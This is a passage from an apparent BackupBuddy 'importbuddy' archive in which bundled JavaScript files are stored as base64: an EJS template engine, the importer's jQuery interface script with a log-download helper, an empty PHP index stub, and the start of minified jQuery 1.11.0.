0LAogICAgICAgICBsZWZ0X2VxdWFsOiAJCWxlZnQrJyU9JywKICAgICAgICAgbGVmdF9jb21tZW50OiAJbGVmdCsnJSMnfSkKCgl0aGlzLlNwbGl0UmVnZXhwID0gbGVmdD09J1snID8gLyhcWyUlKXwoJSVcXSl8KFxbJT0pfChcWyUjKXwoXFslKXwoJVxdXG4pfCglXF0pfChcbikvIDogbmV3IFJlZ0V4cCgnKCcrdGhpcy5kb3VibGVfbGVmdCsnKXwoJSUnK3RoaXMuZG91YmxlX3JpZ2h0KycpfCgnK3RoaXMubGVmdF9lcXVhbCsnKXwoJyt0aGlzLmxlZnRfY29tbWVudCsnKXwoJyt0aGlzLmxlZnRfZGVsaW1pdGVyKycpfCgnK3RoaXMucmlnaHRfZGVsaW1pdGVyKydcbil8KCcrdGhpcy5yaWdodF9kZWxpbWl0ZXIrJyl8KFxuKScpIDsKCQoJdGhpcy5zb3VyY2UgPSBzb3VyY2U7Cgl0aGlzLnN0YWcgPSBudWxsOwoJdGhpcy5saW5lcyA9IDA7Cn07CgpFSlMuU2Nhbm5lci50b190ZXh0ID0gZnVuY3Rpb24oaW5wdXQpewoJaWYoaW5wdXQgPT0gbnVsbCB8fCBpbnB1dCA9PT0gdW5kZWZpbmVkKQogICAgICAgIHJldHVybiAnJzsKICAgIGlmKGlucHV0IGluc3RhbmNlb2YgRGF0ZSkKCQlyZXR1cm4gaW5wdXQudG9EYXRlU3RyaW5nKCk7CglpZihpbnB1dC50b1N0cmluZykgCiAgICAgICAgcmV0dXJuIGlucHV0LnRvU3RyaW5nKCk7CglyZXR1cm4gJyc7Cn07CgpFSlMuU2Nhbm5lci5wcm90b3R5cGUgPSB7CiAgc2NhbjogZnVuY3Rpb24oYmxvY2spIHsKICAgICBzY2FubGluZSA9IHRoaXMuc2NhbmxpbmU7CgkgcmVnZXggPSB0aGlzLlNwbGl0UmVnZXhwOwoJIGlmICghIHRoaXMuc291cmNlID09ICcnKQoJIHsKCSAJIHZhciBzb3VyY2Vfc3BsaXQgPSByc3BsaXQodGhpcy5zb3VyY2UsIC9cbi8pOwoJIAkgZm9yKHZhciBpPTA7IGk8c291cmNlX3NwbGl0Lmxlbmd0aDsgaSsrKSB7CgkJIAkgdmFyIGl0ZW0gPSBzb3VyY2Vfc3BsaXRbaV07CgkJCSB0aGlzLnNjYW5saW5lKGl0ZW0sIHJlZ2V4LCBibG9jayk7CgkJIH0KCSB9CiAgfSwKICBzY2FubGluZTogZnVuY3Rpb24obGluZSwgcmVnZXgsIGJsb2NrKSB7CgkgdGhpcy5saW5lcysrOwoJIHZhciBsaW5lX3NwbGl0ID0gcnNwbGl0KGxpbmUsIHJlZ2V4KTsKIAkgZm9yKHZhciBpPTA7IGk8bGluZV9zcGxpdC5sZW5ndGg7IGkrKykgewoJICAgdmFyIHRva2VuID0gbGluZV9zcGxpdFtpXTsKICAgICAgIGlmICh0b2tlbiAhPSBudWxsKSB7CgkJICAgCXRyeXsKCSAgICAgICAgIAlibG9jayh0b2tlbiwgdGhpcyk7CgkJIAl9Y2F0Y2goZSl7CgkJCQl0aHJvdyB7dHlwZTogJ0VKUy5TY2FubmVyJywgbGluZTogdGhpcy5saW5lc307CgkJCX0KICAgICAgIH0KCSB9CiAgfQp9OwoKCkVKUy5CdWZmZXIgPSBmdW5jdGlvbihwcmVfY21kLCBwb3N0X2NtZCkgewoJdGhpcy5saW5lID0gbmV3IEFycmF5KCk7Cgl0aGlzLnNjcmlwdCA9ICIiOwoJdGhpcy5wcmVfY21kID0gcHJlX2NtZDsKCXRoaXMucG9zdF9jbWQgPSBwb3N0X2NtZDsKCWZvciAodmFyIGk9MDsgaTx0aGlzLnByZV9jbWQubGVuZ3RoOyBpKyspCgl7CgkJdGhpcy5wdXNoKHByZV9jbWRbaV0pOwoJfQp9OwpFSlMuQnVmZmVyLnByb3RvdHlwZSA9IHsKCQogIHB1c2g6IGZ1bmN0aW9uKGNtZCkgewoJdGhpcy5saW5lLnB1c2goY21kKTsKICB9LAoKICBjcjogZnVuY3Rpb24oKSB7Cgl0aGlzLnNjcmlwdCA9IHRoaXMuc2NyaXB0ICsgdGhpcy5saW5lLmpvaW4oJzsgJyk7Cgl0aGlzLmxpbmUgPSBuZXcgQXJyYXkoKTsKCXRoaXMuc2NyaXB0ID0gdGhpcy5zY3JpcHQgKyAiXG4iOwogIH0sCgogIGNsb3NlOiBmdW5jdGlvbigpIHsKCWlmICh0aGlzLmxpbmUubGVuZ3RoID4gMCkKCXsKCQlmb3IgKHZhciBpPTA7IGk8dGhpcy5wb3N0X2NtZC5sZW5ndGg7IGkrKyl7CgkJCXRoaXMucHVzaChwcmVfY21kW2ldKTsKCQl9CgkJdGhpcy5zY3JpcHQgPSB0aGlzLnNjcmlwdCArIHRoaXMubGluZS5qb2luKCc7ICcpOwoJCWxpbmUgPSBudWxsOwoJfQogIH0KIAkKfTsKCgpFSlMuQ29tcGlsZXIgPSBmdW5jdGlvbihzb3VyY2UsIGxlZnQpIHsKICAgIHRoaXMucHJlX2NtZCA9IFsndmFyIF9fX1ZpZXdPID0gW107J107Cgl0aGlzLnBvc3RfY21kID0gbmV3IEFycmF5KCk7Cgl0aGlzLnNvdXJjZSA9ICcgJzsJCglpZiAoc291cmNlICE9IG51bGwpCgl7CgkJaWYgKHR5cGVvZiBzb3VyY2UgPT0gJ3N0cmluZycpCgkJewoJCSAgICBzb3VyY2UgPSBzb3VyY2UucmVwbGFjZSgvXHJcbi9nLCAiXG4iKTsKICAgICAgICAgICAgc291cmNlID0gc291cmNlLnJlcGxhY2UoL1xyL2csICAgIlxuIik7CgkJCXRoaXMuc291cmNlID0gc291cmNlOwoJCX1lbHNlIGlmIChzb3VyY2UuaW5uZXJIVE1MKXsKCQkJdGhpcy5zb3VyY2UgPSBzb3VyY2UuaW5uZXJIVE1MOwoJCX0gCgkJaWYgKHR5cGVvZiB0aGlzLnNvdXJjZSAhPSAnc3RyaW5nJyl7CgkJCXRoaXMuc291cmNlID0gIiI7CgkJfQoJfQoJbGVmdCA9IGxlZnQgfHwgJzwnOwoJdmFyIHJpZ2h0ID0gJz4nOwoJc3dpdGNoKGxlZnQpIHsKCQljYXNlICdbJzoKCQkJcmlnaHQgPSAnXSc7CgkJCWJyZWFrOwoJCWNhc2UgJzwnOgoJCQlicmVhazsKCQlkZWZhdWx0OgoJCQl0aHJvdyBsZWZ0KycgaXMgbm90IGEgc3VwcG9ydGVkIGRlbGltaW5hdG9yJzsKCQkJYnJlYWs7Cgl9Cgl0aGlzLnNjYW5uZXIgPSBuZXcgRUpTLlNjYW5uZXIodGhpcy5zb3VyY2UsIGxlZnQsIHJpZ2h0KTsKCXRoaXMub3V0ID0gJyc7Cn07CkVKUy5Db21waWxlci5wcm90b3R5cGUgPSB7CiAgY29tcGlsZTogZnVuY3Rpb24ob3B0aW9ucywgbmFtZSkgewogIAlvcHRpb25zID0gb3B0aW9ucyB8fCB7fTsKCXRoaXMub3V0ID0gJyc7Cgl2YXIgcHV0X2NtZCA9ICJfX19WaWV3Ty5wdXNoKCI7Cgl2YXIgaW5zZXJ0X2NtZCA9IHB1dF9jbWQ7Cgl2YXIgYnVmZiA9IG5ldyBFSlMuQnVmZmVyKHRoaXMucHJlX2NtZCwgdGhpcy5wb3N0X2NtZCk7CQkKCXZhciBjb250ZW50ID0gJyc7Cgl2YXIgY2xlYW4gPSBmdW5jdGlvbihjb250ZW50KQoJewoJICAgIGNvbnRlbnQgPSBjb250ZW50LnJlcGxhY2UoL1xcL2csICdcXFxcJyk7CiAgICAgICAgY29udGVudCA9IGNvbnRlbnQucmVwbGFjZSgvXG4vZywgJ1xcbicpOwogICAgICAgIGNvbnRlbnQgPSBjb250ZW50LnJlcGxhY2UoLyIvZywgICdcXCInKTsKICAgICAgICByZXR1cm4gY29udGVudDsKCX07Cgl0aGlzLnNjYW5uZXIuc2NhbihmdW5jdGlvbih0b2tlbiwgc2Nhbm5lcikgewoJCWlmIChzY2FubmVyLnN0YWcgPT0gbnVsbCkKCQl7CgkJCXN3aXRjaCh0b2tlbikgewoJCQkJY2FzZSAnXG4nOgoJCQkJCWNvbnRlbnQgPSBjb250ZW50ICsgIlxuIjsKCQkJCQlidWZmLnB1c2gocHV0X2NtZCArICciJyArIGNsZWFuKGNvbnRlbnQpICsgJyIpOycpOwoJCQkJCWJ1ZmYuY3IoKTsKCQkJCQljb250ZW50ID0gJyc7CgkJCQkJYnJlYWs7CgkJCQljYXNlIHNjYW5uZXIubGVmdF9kZWxpbWl0ZXI6CgkJCQljYXNlIHNjYW5uZXIubGVmdF9lcXVhbDoKCQkJCWNhc2Ugc2Nhbm5lci5sZWZ0X2NvbW1lbnQ6CgkJCQkJc2Nhbm5lci5zdGFnID0gdG9rZW47CgkJCQkJaWYgKGNvbnRlbnQubGVuZ3RoID4gMCkKCQkJCQl7CgkJCQkJCWJ1ZmYucHVzaChwdXRfY21kICsgJyInICsgY2xlYW4oY29udGVudCkgKyAnIiknKTsKCQkJCQl9CgkJCQkJY29udGVudCA9ICcnOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSBzY2FubmVyLmRvdWJsZV9sZWZ0OgoJCQkJCWNvbnRlbnQgPSBjb250ZW50ICsgc2Nhbm5lci5sZWZ0X2RlbGltaXRlcjsKCQkJCQlicmVhazsKCQkJCWRlZmF1bHQ6CgkJCQkJY29udGVudCA9IGNvbnRlbnQgKyB0b2tlbjsKCQkJCQlicmVhazsKCQkJfQoJCX0KCQllbHNlIHsKCQkJc3dpdGNoKHRva2VuKSB7CgkJCQljYXNlIHNjYW5uZXIucmlnaHRfZGVsaW1pdGVyOgoJCQkJCXN3aXRjaChzY2FubmVyLnN0YWcpIHsKCQkJCQkJY2FzZSBzY2FubmVyLmxlZnRfZGVsaW1pdGVyOgoJCQkJCQkJaWYgKGNvbnRlbnRbY29udGVudC5sZW5ndGggLSAxXSA9PSAnXG4nKQoJCQkJCQkJewoJCQkJCQkJCWNvbnRlbnQgPSBjaG9wKGNvbnRlbnQpOwoJCQkJCQkJCWJ1ZmYucHVzaChjb250ZW50KTsKCQkJCQkJCQlidWZmLmNyKCk7CgkJCQkJCQl9CgkJCQkJCQllbHNlIHsKCQkJCQkJCQlidWZmLnB1c2goY29udGVudCk7CgkJCQkJCQl9CgkJCQkJCQlicmVhazsKCQkJCQkJY2FzZSBzY2FubmVyLmxlZnRfZXF1YWw6CgkJCQkJCQlidWZmLnB1c2goaW5zZXJ0X2NtZCArICIoRUpTLlNjYW5uZXIudG9fdGV4dCgiICsgY29udGVudCArICIpKSkiKTsKCQkJCQkJCWJyZWFrOwoJCQkJCX0KCQkJCQlzY2FubmVyLnN0YWcgPSBudWxsOwoJCQkJCWNvbnRlbnQgPSAnJzsKCQkJCQlicmVhazsKCQkJCWNhc2Ugc2Nhbm5lci5kb3VibGVfcmlnaHQ6CgkJCQkJY29udGVudCA9IGNvbnRlbnQgKyBzY2FubmVyLnJpZ2h0X2RlbGltaXRlcjsKCQkJCQlicmVhazsKCQkJCWRlZmF1bHQ6CgkJCQkJY29udGVudCA9IGNvbnRlbnQgKyB0b2tlbjsKCQkJCQlicmVhazsKCQkJfQoJCX0KCX0pOwoJaWYgKGNvbnRlbnQubGVuZ3RoID4gMCkKCXsKCQkvLyBDaG91bGQgYmUgY29udGVudC5kdW1wIGluIFJ1YnkKCQlidWZmLnB1c2gocHV0X2NtZCArICciJyArIGNsZWFuKGNvbnRlbnQpICsgJyIpJyk7Cgl9CglidWZmLmNsb3NlKCk7Cgl0aGlzLm91dCA9IGJ1ZmYuc2NyaXB0ICsgIjsiOwoJdmFyIHRvX2JlX2V2YWxlZCA9ICcvKicrbmFtZSsnKi90aGlzLnByb2Nlc3MgPSBmdW5jdGlvbihfQ09OVEVYVCxfVklFVykgeyB0cnkgeyB3aXRoKF9WSUVXKSB7IHdpdGggKF9DT05URVhUKSB7Jyt0aGlzLm91dCsiIHJldHVybiBfX19WaWV3Ty5qb2luKCcnKTt9fX1jYXRjaChlKXtlLmxpbmVOdW1iZXI9bnVsbDt0aHJvdyBlO319OyI7CgkKCXRyeXsKCQlldmFsKHRvX2JlX2V2YWxlZCk7Cgl9Y2F0Y2goZSl7CgkJaWYodHlwZW9mIEpTTElOVCAhPSAndW5kZWZpbmVkJyl7CgkJCUpTTElOVCh0aGlzLm91dCk7CgkJCWZvcih2YXIgaSA9IDA7IGkgPCBKU0xJTlQuZXJyb3JzLmxlbmd0aDsgaSsrKXsKCQkJCXZhciBlcnJvciA9IEpTTElOVC5lcnJvcnNbaV07CgkJCQlpZihlcnJvci5yZWFzb24gIT0gIlVubmVjZXNzYXJ5IHNlbWljb2xvbi4iKXsKCQkJCQllcnJvci5saW5lKys7CgkJCQkJdmFyIGUgPSBuZXcgRXJyb3IoKTsKCQkJCQllLmxpbmVOdW1iZXIgPSBlcnJvci5saW5lOwoJCQkJCWUubWVzc2FnZSA9IGVycm9yLnJlYXNvbjsKCQkJCQlpZihvcHRpb25zLnZpZXcpCgkJCQkJCWUuZmlsZU5hbWUgPSBvcHRpb25zLnZpZXc7CgkJCQkJdGhyb3cgZTsKCQkJCX0KCQkJfQoJCX1lbHNlewoJCQl0aHJvdyBlOwoJCX0KCX0KICB9Cn07CgoKLy90eXBlLCBjYWNoZSwgZm9sZGVyCi8qKgogKiBTZXRzIGRlZmF1bHQgb3B0aW9ucyBmb3IgYWxsIHZpZXdzCiAqIEBwYXJhbSB7T2JqZWN0fSBvcHRpb25zIFNldCB2aWV3IHdpdGggdGhlIGZvbGxvd2luZyBvcHRpb25zCiAqIDx0YWJsZSBjbGFzcz0ib3B0aW9ucyI+CgkJCQk8dGJvZHk+PHRyPjx0aD5PcHRpb248L3RoPjx0aD5EZWZhdWx0PC90aD48dGg+RGVzY3JpcHRpb248L3RoPjwvdHI+CgkJCQk8dHI+CgkJCQkJPHRkPnR5cGU8L3RkPgoJCQkJCTx0ZD4nPCc8L3RkPgoJCQkJCTx0ZD50eXBlIG9mIG1hZ2ljIHRhZ3MuICBPcHRpb25zIGFyZSAnJmx0Oycgb3IgJ1snCgkJCQkJPC90ZD4KCQkJCTwvdHI+CgkJCQk8dHI+CgkJCQkJPHRkPmNhY2hlPC90ZD4KCQkJCQk8dGQ+dHJ1ZSBpbiBwcm9kdWN0aW9uIG1vZGUsIGZhbHNlIGluIG90aGVyIG1vZGVzPC90ZD4KCQkJCQk8dGQ+dHJ1ZSB0byBjYWNoZSB0ZW1wbGF0ZS4KCQkJCQk8L3RkPgoJCQkJPC90cj4KCTwvdGJvZHk+PC90YWJsZT4KICogCiAqLwpFSlMuY29uZmlnID0gZnVuY3Rpb24ob3B0aW9ucyl7CglFSlMuY2FjaGUgPSBvcHRpb25zLmNhY2hlICE9IG51bGwgPyBvcHRpb25zLmNhY2hlIDogRUpTLmNhY2hlOwoJRUpTLnR5cGUgPSBvcHRpb25zLnR5cGUgIT0gbnVsbCA/IG9wdGlvbnMudHlwZSA6IEVKUy50eXBlOwoJRUpTLmV4dCA9IG9wdGlvbnMuZXh0ICE9IG51bGwgPyBvcHRpb25zLmV4dCA6IEVKUy5leHQ7CgkKCXZhciB0ZW1wbGF0ZXNfZGlyZWN0b3J5ID0gRUpTLnRlbXBsYXRlc19kaXJlY3RvcnkgfHwge307IC8vbmljZSBhbmQgcHJpdmF0ZSBjb250YWluZXIKCUVKUy50ZW1wbGF0ZXNfZGlyZWN0b3J5ID0gdGVtcGxhdGVzX2RpcmVjdG9yeTsKCUVKUy5nZXQgPSBmdW5jdGlvbihwYXRoLCBjYWNoZSl7CgkJaWYoY2FjaGUgPT0gZmFsc2UpIHJldHVybiBudWxsOwoJCWlmKHRlbXBsYXRlc19kaXJlY3RvcnlbcGF0aF0pIHJldHVybiB0ZW1wbGF0ZXNfZGlyZWN0b3J5W3BhdGhdOwogIAkJcmV0dXJuIG51bGw7Cgl9OwoJCglFSlMudXBkYXRlID0gZnVuY3Rpb24ocGF0aCwgdGVtcGxhdGUpIHsgCgkJaWYocGF0aCA9PSBudWxsKSByZXR1cm47CgkJdGVtcGxhdGVzX2RpcmVjdG9yeVtwYXRoXSA9IHRlbXBsYXRlIDsKCX07CgkKCUVKUy5JTlZBTElEX1BBVEggPSAgLTE7Cn07CkVKUy5jb25maWcoIHtjYWNoZTogdHJ1ZSwgdHlwZTogJzwnLCBleHQ6ICcuaHRtJyB9ICk7CgoKCi8qKgogKiBAY29uc3RydWN0b3IKICogQnkgYWRkaW5nIGZ1bmN0aW9ucyB0byBFSlMuSGVscGVycy5wcm90b3R5cGUsIHRob3NlIGZ1bmN0aW9ucyB3aWxsIGJlIGF2YWlsYWJsZSBpbiB0aGUgCiAqIHZpZXdzLgogKiBAaW5pdCBDcmVhdGVzIGEgdmlldyBoZWxwZXIuICBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCBpbnRlcm5hbGx5LiAgWW91IHNob3VsZCBuZXZlciBjYWxsIGl0LgogKiBAcGFyYW0ge09iamVjdH0gZGF0YSBUaGUgZGF0YSBwYXNzZWQgdG8gdGhlIHZpZXcuICBIZWxwZXJzIGhhdmUgYWNjZXNzIHRvIGl0IHRocm91Z2ggdGhpcy5fZGF0YQogKi8KRUpTLkhlbHBlcnMgPSBmdW5jdGlvbihkYXRhLCBleHRyYXMpewoJdGhpcy5fZGF0YSA9IGRhdGE7CiAgICB0aGlzLl9leHRyYXMgPSBleHRyYXM7CiAgICBleHRlbmQodGhpcywgZXh0cmFzICk7Cn07Ci8qIEBwcm90b3R5cGUqLwpFSlMuSGVscGVycy5wcm90b3R5cGUgPSB7CiAgICAvKioKICAgICAqIFJlbmRlcnMgYSBuZXcgdmlldy4gIElmIGRhdGEgaXMgcGFzc2VkIGluLCB1c2VzIHRoYXQgdG8gcmVuZGVyIHRoZSB2aWV3LgogICAgICogQHBhcmFtIHtPYmplY3R9IG9wdGlvbnMgc3RhbmRhcmQgb3B0aW9ucyBwYXNzZWQgdG8gYSBuZXcgdmlldy4KICAgICAqIEBwYXJhbSB7b3B0aW9uYWw6T2JqZWN0fSBkYXRhCiAgICAgKiBAcmV0dXJuIHtTdHJpbmd9CiAgICAgKi8KCXZpZXc6IGZ1bmN0aW9uKG9wdGlvbnMsIGRhdGEsIGhlbHBlcnMpewogICAgICAgIGlmKCFoZWxwZXJzKSBoZWxwZXJzID0gdGhpcy5fZXh0cmFzCgkJaWYoIWRhdGEpIGRhdGEgPSB0aGlzLl9kYXRhOwoJCXJldHVybiBuZXcgRUpTKG9wdGlvbnMpLnJlbmRlcihkYXRhLCBoZWxwZXJzKTsKCX0sCiAgICAvKioKICAgICAqIEZvciBhIGdpdmVuIHZhbHVlLCB0cmllcyB0byBjcmVhdGUgYSBodW1hbiByZXByZXNlbnRhdGlvbi4KICAgICAqIEBwYXJhbSB7T2JqZWN0fSBpbnB1dCB0aGUgdmFsdWUgYmVpbmcgY29udmVydGVkLgogICAgICogQHBhcmFtIHtPYmplY3R9IG51bGxfdGV4dCB3aGF0IHRleHQgc2hvdWxkIGJlIHByZXNlbnQgaWYgaW5wdXQgPT0gbnVsbCBvciB1bmRlZmluZWQsIGRlZmF1bHRzIHRvICcnCiAgICAgKiBAcmV0dXJuIHtTdHJpbmd9IAogICAgICovCgl0b190ZXh0OiBmdW5jdGlvbihpbnB1dCwgbnVsbF90ZXh0KSB7CgkgICAgaWYoaW5wdXQgPT0gbnVsbCB8fCBpbnB1dCA9PT0gdW5kZWZpbmVkKSByZXR1cm4gbnVsbF90ZXh0IHx8ICcnOwoJICAgIGlmKGlucHV0IGluc3RhbmNlb2YgRGF0ZSkgcmV0dXJuIGlucHV0LnRvRGF0ZVN0cmluZygpOwoJCWlmKGlucHV0LnRvU3RyaW5nKSByZXR1cm4gaW5wdXQudG9TdHJpbmcoKS5yZXBsYWNlKC9cbi9nLCAnPGJyIC8+JykucmVwbGFjZSgvJycvZywgIiciKTsKCQlyZXR1cm4gJyc7Cgl9Cn07CiAgICBFSlMubmV3UmVxdWVzdCA9IGZ1bmN0aW9uKCl7CgkgICB2YXIgZmFjdG9yaWVzID0gW2Z1bmN0aW9uKCkgeyByZXR1cm4gbmV3IEFjdGl2ZVhPYmplY3QoIk1zeG1sMi5YTUxIVFRQIik7IH0sZnVuY3Rpb24oKSB7IHJldHVybiBuZXcgWE1MSHR0cFJlcXVlc3QoKTsgfSxmdW5jdGlvbigpIHsgcmV0dXJuIG5ldyBBY3RpdmVYT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpOyB9XTsKCSAgIGZvcih2YXIgaSA9IDA7IGkgPCBmYWN0b3JpZXMubGVuZ3RoOyBpKyspIHsKCSAgICAgICAgdHJ5IHsKCSAgICAgICAgICAgIHZhciByZXF1ZXN0ID0gZmFjdG9yaWVzW2ldKCk7CgkgICAgICAgICAgICBpZiAocmVxdWVzdCAhPSBudWxsKSAgcmV0dXJuIHJlcXVlc3Q7CgkgICAgICAgIH0KCSAgICAgICAgY2F0Y2goZSkgeyBjb250aW51ZTt9CgkgICB9Cgl9CgkKCUVKUy5yZXF1ZXN0ID0gZnVuY3Rpb24ocGF0aCl7CgkgICB2YXIgcmVxdWVzdCA9IG5ldyBFSlMubmV3UmVxdWVzdCgpCgkgICByZXF1ZXN0Lm9wZW4oIkdFVCIsIHBhdGgsIGZhbHNlKTsKCSAgIAoJICAgdHJ5e3JlcXVlc3Quc2VuZChudWxsKTt9CgkgICBjYXRjaChlKXtyZXR1cm4gbnVsbDt9CgkgICAKCSAgIGlmICggcmVxdWVzdC5zdGF0dXMgPT0gNDA0IHx8IHJlcXVlc3Quc3RhdHVzID09IDIgfHwocmVxdWVzdC5zdGF0dXMgPT0gMCAmJiByZXF1ZXN0LnJlc3BvbnNlVGV4dCA9PSAnJykgKSByZXR1cm4gbnVsbDsKCSAgIAoJICAgcmV0dXJuIHJlcXVlc3QucmVzcG9uc2VUZXh0Cgl9CglFSlMuYWpheF9yZXF1ZXN0ID0gZnVuY3Rpb24ocGFyYW1zKXsKCQlwYXJhbXMubWV0aG9kID0gKCBwYXJhbXMubWV0aG9kID8gcGFyYW1zLm1ldGhvZCA6ICdHRVQnKQoJCQoJCXZhciByZXF1ZXN0ID0gbmV3IEVKUy5uZXdSZXF1ZXN0KCk7CgkJcmVxdWVzdC5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpewoJCQlpZihyZXF1ZXN0LnJlYWR5U3RhdGUgPT0gNCl7CgkJCQlpZihyZXF1ZXN0LnN0YXR1cyA9PSAyMDApewoJCQkJCXBhcmFtcy5vbkNvbXBsZXRlKHJlcXVlc3QpCgkJCQl9ZWxzZQoJCQkJewoJCQkJCXBhcmFtcy5vbkNvbXBsZXRlKHJlcXVlc3QpCgkJCQl9CgkJCX0KCQl9CgkJcmVxdWVzdC5vcGVuKHBhcmFtcy5tZXRob2QsIHBhcmFtcy51cmwpCgkJcmVxdWVzdC5zZW5kKG51bGwpCgl9CgoKfSkoKTs=
###PACKDATA,FILE_END,/_importbuddy/importbuddy/js/ejs.js,importbuddy/js/ejs.js
###PACKDATA,FILE_START,/_importbuddy/importbuddy/js/importbuddy.js,importbuddy/js/importbuddy.js
alF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHsKCWpRdWVyeSh3aW5kb3cpLmxvYWQoZnVuY3Rpb24oKXsKCQlpZiAoIGpRdWVyeSgnI3BiX2ltcG9ydGJ1ZGR5X3dvcmtpbmcnKS5pcygnOnZpc2libGUnKSApIHsKCQkJalF1ZXJ5KCcjcGJfaW1wb3J0YnVkZHlfd29ya2luZycpLnJlcGxhY2VXaXRoKAoJCQkJalF1ZXJ5KCcjcGJfaW1wb3J0YnVkZHlfYmxhbmthbGVydCcpLmh0bWwoKS5yZXBsYWNlKCAnI1RJVExFIycsICdQSFAgVGltZW91dCBvciBGYXRhbCBFcnJvciBPY2N1cnJlZCcgKS5yZXBsYWNlKCAnI01FU1NBR0UjJywgJ1RoZSBwYWdlIGRpZCBub3QgZmluaXNoIGxvYWRpbmcgYXMgZXhwZWN0ZWQuICBUaGUgbW9zdCBjb21tb24gY2F1c2UgZm9yIHRoaXMgaXMgdGhlIFBIUCBwcm9jZXNzIHRha2luZyBtb3JlIHRpbWUgdGhhbiBpdCBoYXMgYmVlbiBhbGxvd2VkIGJ5IHlvdXIgaG9zdCAocGhwLmluaSBzZXR0aW5nIDxpPm1heF9leGVjdXRpb25fdGltZTwvaT4pLiBJZiBhIFBIUCBlcnJvciBpcyBkaXNwbGF5ZWQgYWJvdmUgdGhpcyBjYW4gYWxzbyBjYXVzZSB0aGlzIGVycm9yLicgKQoJCQkpOwoJCX0KCX0pOwp9KTsKCmZ1bmN0aW9uIGxvYWRUb29sdGlwcygpIHsKCWpRdWVyeSgnLnBsdWdpbmJ1ZGR5X3RpcCcpLnRvb2x0aXAoewoJCXRyYWNrOiB0cnVlLAoJCWRlbGF5OiAwLAoJCXNob3dVUkw6IGZhbHNlLAoJCXNob3dCb2R5OiAiIC0gIiwKCQlmYWRlOiAyNTAKCX0pOwp9CgpqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCkgewoJbG9hZFRvb2x0aXBzKCk7CgkKCWpRdWVyeSgnLnRvZ2dsZScpLmNsaWNrKGZ1bmN0aW9uKGUpIHsKCQlqUXVlcnkoICcjdG9nZ2xlLScgKyBqUXVlcnkodGhpcykuYXR0cignaWQnKSApLnNsaWRlVG9nZ2xlKCk7Cgl9KTsKCQoJalF1ZXJ5KCcub3B0aW9uX3RvZ2dsZScpLmNoYW5nZShmdW5jdGlvbihlKSB7CgkJaWYgKGpRdWVyeSh0aGlzKS5hdHRyKCdjaGVja2VkJykpIHsKCQkJalF1ZXJ5KCcuJyArIGpRdWVyeSh0aGlzKS5hdHRyKCdpZCcpICsgJ190b2dnbGUnICkuc2xpZGVUb2dnbGUoKTsKCQl9IGVsc2UgewoJCQlqUXVlcnkoJy4nICsgalF1ZXJ5KHRoaXMpLmF0dHIoJ2lkJykgKyAnX3RvZ2dsZScgKS5zbGlkZVRvZ2dsZSgpOwoJCX0KCX0pOwoJCgkKfSk7CgpmdW5jdGlvbiBiYWNrdXBidWRkeV9zYXZlTG9nQXNGaWxlKCkgewoJdmFyIHRleHRGaWxlQXNCbG9iID0gbmV3IEJsb2IoWyBqUXVlcnkoICcjYmFja3VwYnVkZHlfbWVzc2FnZXMnICkudGV4dCgpIF0sIHt0eXBlOid0ZXh0L3BsYWluJ30pOwoJdmFyIGZpbGVOYW1lVG9TYXZlQXMgPSAnaW1wb3J0YnVkZHkudHh0JzsKCgl2YXIgZG93bmxvYWRMaW5rID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiYSIpOwoJZG93bmxvYWRMaW5rLmRvd25sb2FkID0gZmlsZU5hbWVUb1NhdmVBczsKCWRvd25sb2FkTGluay5pbm5lckhUTUwgPSAiRG93bmxvYWQgRmlsZSI7Cglkb3dubG9hZExpbmsuc2V0QXR0cmlidXRlKCd0YXJnZXQnLCAnX25ldycpOyAvLyBTYWZhcmkgbG9hZHMgdGhpcyBsaW5rIGFzIGEgcGFnZSBpbnN0ZWFkIG9mIGRpcmVjdGx5IGRvd25sb2FkaW5nLgoJZG93bmxvYWRMaW5rLmhyZWYgPSB3aW5kb3cuVVJMLmNyZWF0ZU9iamVjdFVSTCh0ZXh0RmlsZUFzQmxvYik7Cglkb3dubG9hZExpbmsub25jbGljayA9IGJhY2t1cGJ1ZGR5X2Rlc3Ryb3lDbGlja2VkRWxlbWVudDsKCWRvd25sb2FkTGluay5zdHlsZS5kaXNwbGF5ID0gIm5vbmUiOwoJZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChkb3dubG9hZExpbmspOwoKCWRvd25sb2FkTGluay5jbGljaygpOwp9CgpmdW5jdGlvbiBiYWNrdXBidWRkeV9kZXN0cm95Q2xpY2tlZEVsZW1lbnQoZXZlbnQpIHsKICAgIGRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQoZXZlbnQudGFyZ2V0KTsKfQ==
###PACKDATA,FILE_END,/_importbuddy/importbuddy/js/importbuddy.js,importbuddy/js/importbuddy.js
###PACKDATA,FILE_START,/_importbuddy/importbuddy/js/index.php,importbuddy/js/index.php
PD9waHAgLy8gU2lsZW5jZSBpcyBnb2xkZW4u
###PACKDATA,FILE_END,/_importbuddy/importbuddy/js/index.php,importbuddy/js/index.php
###PACKDATA,FILE_START,/_importbuddy/importbuddy/js/jquery.js,importbuddy/js/jquery.js
LyohIGpRdWVyeSB2MS4xMS4wIHwgKGMpIDIwMDUsIDIwMTQgalF1ZXJ5IEZvdW5kYXRpb24sIEluYy4gfCBqcXVlcnkub3JnL2xpY2Vuc2UgKi8KIWZ1bmN0aW9uKGEsYil7Im9iamVjdCI9PXR5cGVvZiBtb2R1bGUmJiJvYmplY3QiPT10eXBlb2YgbW9kdWxlLmV4cG9ydHM/bW9kdWxlLmV4cG9ydHM9YS5kb2N1bWVudD9iKGEsITApOmZ1bmN0aW9uKGEpe2lmKCFhLmRvY3VtZW50KXRocm93IG5ldyBFcnJvcigialF1ZXJ5IHJlcXVpcmVzIGEgd2luZG93IHdpdGggYSBkb2N1bWVudCIpO3JldHVybiBiKGEpfTpiKGEpfSgidW5kZWZpbmVkIiE9dHlwZW9mIHdpbmRvdz93aW5kb3c6dGhpcyxmdW5jdGlvbihhLGIpe3ZhciBjPVtdLGQ9Yy5zbGljZSxlPWMuY29uY2F0LGY9Yy5wdXNoLGc9Yy5pbmRleE9mLGg9e30saT1oLnRvU3RyaW5nLGo9aC5oYXNPd25Qcm9wZXJ0eSxrPSIiLnRyaW0sbD17fSxtPSI